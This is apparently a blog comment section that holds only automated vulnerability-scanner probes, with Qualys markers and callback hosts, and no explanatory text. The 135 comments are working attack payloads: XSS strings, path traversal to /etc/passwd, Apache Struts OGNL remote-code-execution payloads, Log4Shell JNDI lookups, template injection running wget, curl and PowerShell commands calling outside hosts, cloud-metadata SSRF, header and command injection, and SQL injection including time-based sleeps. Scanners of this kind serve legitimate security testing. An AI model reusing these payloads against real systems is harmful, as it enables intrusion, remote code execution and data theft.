135 Comments

1. 

   “ ‘>
2. 

   ‘ onEvent=X145718976Y1_2Z
3. 

   javascript:qxss(X145718976Y1_2Z);
4. 

   1″‘>
5. 

   1
6. 

   _q=random(X145718976Y1_2Z)
7. 
8. 

   “ ‘><qssih99R166=7;//<
9. 

   1″>
10. 

    ” onEvent=X145718976Y1_2Z
11. 

    %3cscript z%3e_q(y)%3c/script%3e
12. 

    qss{{q=(2*2.0)}}qss
13. 

    q
    Content-Type:text/html
    Content-Length: 190

    HTTP/1.1 200 OK
    Content-Type: text/html
    Set-Cookie: a=q
    Content-Length: 2

    AA
14. 

    q
    Qualys_resp_hdr_injection: Vulnerable
15. 

    ;–
16. 

    /*
17. 

    ,
18. 

    1e309
19. 

    /../../../../../../../etc/passwd
20. 

    ../../../../../../../etc/passwd
21. 

    //….//….//….//….//….//….//….//etc/passwd
22. 

    ../../../../../../../Windows/System32/drivers/etc/hosts
23. 

    ….//….//….//….//….//….//etc/passwd
24. 

    %25{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
25. 

    a(){}phpinfo(); function a
26. 

    http://rfitest/
27. 

    “ ;(function(){qxss6Awb1k4W});/**/”
28. 

    qualys(aqxss1izU2yr6)xyz
29. 

    9;(function(){qxssMY6z0cIj});//
30. 

    */;(function(){qxssHCkgAcV6});/*
31. 

    “ -qxss0Vd03Rm8()-“
32. 

    {23.0231*213.759}${23.0231*213.759}{{=23.0231*213.759}}
33. 

    (23.0231*213.759)
34. 

    http://169.254.169.254/latest/meta-data/
35. 

    http://7d231e97f6aa93f69b13540d958a60347724ef12.37655551466067550.4054060561.ssrf01.ssrf.us1.qualysperiscope.com.
36. 

    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://cba8b6352c6177ee2d6cf60525be8f6af95ad331.37655551466067550.1831526849.log4j05.log4j.us1.qualysperiscope.com./QualysWAS}
37. 

    ${jnd${123%ff:-${123%ff:-i:}}ldap://7832ea2be722053b991191805bb93a73f5b4b6db.37655551466067550.4151668263.log4j07.log4j.us1.qualysperiscope.com./QualysWAS}
38. 

    ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//b9709a37b701082441505cd93f4d5d8314db73b9.37655551466067550.4262232027.log4j10.log4j.us1.qualysperiscope.com./QualysWAS}
39. 

    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://845b23761c5e7cf8422dd20191f50dd9b4480b5e.37655551466067550.1552401393.log4j12.log4j.us1.qualysperiscope.com./QualysWAS}
40. 

    ${script:javascript:java.lang.Runtime.getRuntime().exec(‘curl http://@CIPHER@.@UNIQUEID@.@URI@.oscomm03.oscomm.@DOMAIN@‘)}
41. 

    $%7Bdns:address%7C@CIPHER@.@UNIQUEID@.@URI@.oscomm05.oscomm.@DOMAIN@%7D
42. 

    ${url:UTF-8:https://501b9eea8be31dcce67dc3d626c3719f5811c5b7.37655551466067550.4207905778.oscomm07.oscomm.us1.qualysperiscope.com.}
43. 

    ${url:UTF-8:https://@CIPHER@.@UNIQUEID@.@URI@.oscomm09.oscomm.@DOMAIN@}
44. 

    powershell -c iwr -uri http://@CIPHER@.@UNIQUEID@.@URI@.oscomm11.oscomm.@DOMAIN@
45. 

    powershell -c iwr -uri https://@CIPHER@.@UNIQUEID@.@URI@.oscomm13.oscomm.@DOMAIN@
46. 

    ${script:javascript:java.lang.Runtime.getRuntime().exec(‘curl https://@CIPHER@.@UNIQUEID@.@URI@.oscomm15.oscomm.@DOMAIN@‘)}
47. 

    ${url:UTF-8::https://e3f13f7d3bdb575ba39de6f9c963ce8a248e6d25.37655551466067550.1150283600.oscomm17.oscomm.us1.qualysperiscope.com./}
48. 

    ${url:UTF-8:https://e4715bb9a5a587021a722b7859fce12aed27584d.37655551466067550.2111253708.oscomm19.oscomm.us1.qualysperiscope.com./}
49. 

    ${dns:address|ed13adcce524bb6ba3241409532930558fccbdbe.37655551466067550.3064208071.oscomm21.oscomm.us1.qualysperiscope.com.}
50. 

    ${url:UTF-8:https://843062013d9dba3553b97258c7e9e969050886df.37655551466067550.384097825.oscomm23.oscomm.us1.qualysperiscope.com.}
51. 

    ${url:UTF-8::https://3301be3aa5ee1160bd4bfc840de9e2ef6d3850db.37655551466067550.488639337.oscomm25.oscomm.us1.qualysperiscope.com./}
52. 

    ${script:javascript:java.lang.Runtime.getRuntime().exec(‘powershell -c iwr -uri https://b73a0477a85eb6207416ab2109d79e622d7db0c8.37655551466067550.3656075213.oscomm27.oscomm.us1.qualysperiscope.com.’)}
53. 

    1′) or 2634=2634 —
54. 

    1′ or 3789=3789 —
55. 

    1 or 4325=4325 —
56. 

    1 or NULL IS NULL
57. 

    1 and NULL IS NULL
58. 

    1′) or ‘swqtp’=’swqtp
59. 

    1′ or ‘tpklq’=’tpklq
60. 

    11 or 11=11
61. 

    aaaa&ping -n 92 localhost&
62. 

    |ping -c2 -i56 localhost
63. 

    1WAITFOR DELAY ’00:00:29′
64. 

    1);WAITFOR DELAY ’00:00:29′–
65. 

    1′);WAITFOR DELAY ’00:00:29′–
66. 

    1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)
67. 

    1;SELECT sleep(29); —
68. 

    1′ WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)– prime
69. 

    1(#context[“ xwork.MethodAccessor.denyMethodExecution” ]= new java.lang.Boolean(false), #_memberAccess[“ allowStaticMethodAccess” ]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))
70. 

    _q=random(X168461472Y1_2Z)
71. 

    ” onEvent=X168461472Y1_2Z
72. 

    “ >
73. 

    z–>
74. 

    1 _q_q=random(F7T9cOJN)
75. 

    ” SRC=//localhost/j2TC9wnA9>
76. 

    “ ‘><qssu83s7d3R=7;//<
77. 

    1
78. 

    ‘ onEvent=X168461472Y1_2Z
79. 

    qsssZxCDs02=7
80. 

    <script src=http://localhost/j
81. 

    {{333*334}}
82. 

    q
    Qualys_resp_hdr_injection: Vulnerable
83. 

    1′
84. 

    #
85. 

    “
86. 

    (
87. 

    1
88. 

    //..//..//..//..//..//..//..//etc/passwd
89. 

    php://filter/read=string.rot13/resource=/etc/passwd
90. 

    %{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
91. 

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q2d1hi3j’).(#str3=’B4D7e6′).(#str=#str2+’:QQ:’+#str1+’:PP:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
92. 

    |netstat -an
93. 

    javascript:qxss(X168461472Y1_2Z);
94. 

    “ );(function(){qxssTvD55y6q});/**/”
95. 

    ‘;(function(){qxss0c957Q8U});/**/’
96. 

    9
    ;(function(){qxssdU667mZf});//
97. 

    ‘-qxsswV8OF3Kf()-‘
98. 

    |aaaa
    =(23.0231*213.759)
    |${23.0231*213.759}{23.0231*213.759}{{23.0231*213.759}}(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}
99. 

    ;echo 23.0231*213.759;//{@math key=4335.158242899999 method=” add” operand=586.23659/}
    /*

    #set($value=23.0231*213.759)
    $value
    */
100. 

     function(){qxssn9c7qRRD};
101. 

     Joe+
     bcc:was_engine@72f25d8f7273361be407241d468528d6051d4487.38333718466067550.429189028.smtphi01.smtp.us1.qualysperiscope.com.
102. 

     216a631627776e65880e653fd5980167a95351e9.38333718466067550.1369432995.ssrf02.ssrf.us1.qualysperiscope.com.
103. 

     ${j${::-n}di:ldap${::-:}//2c3b018f1ab70003c67db211d7f183a03e719e26.38333718466067550.2682331638.log4j06.log4j.us1.qualysperiscope.com./QualysWAS}
104. 

     ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//47d5c935fc13b6f987455e81a735840e6868c560.38333718466067550.1383733953.log4j08.log4j.us1.qualysperiscope.com./QualysWAS}
105. 

     ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://26b588211afe055bebc7e80aed3d37624cc607a5.38333718466067550.3019958248.log4j11.log4j.us1.qualysperiscope.com./QualysWAS}
106. 

     ${script:javascript:java.lang.Runtime.getRuntime().exec(‘curl http://924d6078e6e249472466ab9a30f3d1aef46030da.38333718466067550.959431349.oscomm02.oscomm.us1.qualysperiscope.com.’)}
107. 

     ${dns:address|ac25a3546815315be9e98b41c6495f9cc5c1468b.38333718466067550.2869086875.oscomm04.oscomm.us1.qualysperiscope.com.}
108. 

     ${url:UTF-8:http://b4c569ea5a3c0780c5f0f2169b3e177cfc38618e.38333718466067550.2930251006.oscomm06.oscomm.us1.qualysperiscope.com.}
109. 

     ${url:UTF-8:http://@CIPHER@.@UNIQUEID@.@URI@.oscomm08.oscomm.@DOMAIN@}
110. 

     ${script:javascript:java.lang.Runtime.getRuntime().exec(‘powershell -c iwr -uri http://e0b861b514a71fa4ac4cf4282ae05b25fa2a50f3.38333718466067550.1248416455.oscomm10.oscomm.us1.qualysperiscope.com.’)}
111. 

     ${script:javascript:java.lang.Runtime.getRuntime().exec(‘powershell -c iwr -uri https://614234963ecad804fe8583b80c5fc29428380851.38333718466067550.1877853079.oscomm12.oscomm.us1.qualysperiscope.com.’)}
112. 

     ${script:javascript:java.lang.Runtime.getRuntime().exec(‘curl https://0b6381f5c60f6ab08810985b51db5a58aea208b7.38333718466067550.4117998378.oscomm14.oscomm.us1.qualysperiscope.com.’)}
113. 

     ${url:UTF-8::https://62fb8033e72237ddf414fbd5c5ff94c15f6c7498.38333718466067550.1564185512.oscomm16.oscomm.us1.qualysperiscope.com./Qualyswas}
114. 

     ${url:UTF-8:http://03e1d618bbcb6d329b175d1e99deee398debc3bc.38333718466067550.2004586033.oscomm18.oscomm.us1.qualysperiscope.com./}
115. 

     ${script:javascript:java.lang.Runtime.getRuntime().exec(‘curl http://2fd31dc7d229d069256d103f7317aac3c8c31d6d.38333718466067550.992346359.oscomm20.oscomm.us1.qualysperiscope.com.’)}
116. 

     ${url:UTF-8:http://65d9e60bd8d23d2ebaaf9becfd36686ecad0ce85.38333718466067550.2084690459.oscomm22.oscomm.us1.qualysperiscope.com.}
117. 

     ${url:UTF-8::http://410f89a330d4b4311d47a7a2712526ece4830469.38333718466067550.3635000038.oscomm24.oscomm.us1.qualysperiscope.com.}
118. 

     ${script:javascript:java.lang.Runtime.getRuntime().exec(‘powershell -c iwr -uri https://f505f05044f00f7de76e003ba2982403cc58e4bc.38333718466067550.614465577.oscomm26.oscomm.us1.qualysperiscope.com.’)}
119. 

     {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘wget http://8ea581aa553fba6d060597edca08cfe36eed55d9.38333718466067550.666400891.oscomm15019101.oscomm.us1.qualysperiscope.com.’).read() }}
120. 

     1′) and 2634=1123 —
121. 

     1′ and 3789=1391 —
122. 

     1 and 4325=2728 —
123. 

     1 or 6248 IS NULL
124. 

     1 and 7248 IS NULL
125. 

     1
126. 

     1′ and ‘tpklq’=’xqlkp
127. 

     11 or 11=12
128. 

     ping -c2 -i91 localhost
129. 

     |ping -c2 -i91 localhost|
130. 

     1;WAITFOR DELAY ’00:00:29′;
131. 

     1′;WAITFOR DELAY ’00:00:29′–
132. 

     1′,0,0);WAITFOR DELAY’00:00:29′–
133. 

     1′ + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + ‘
134. 

     1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*’XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); — OR’|” XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); — OR” */
135. 

     1′ OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND ‘qualys’=’qualys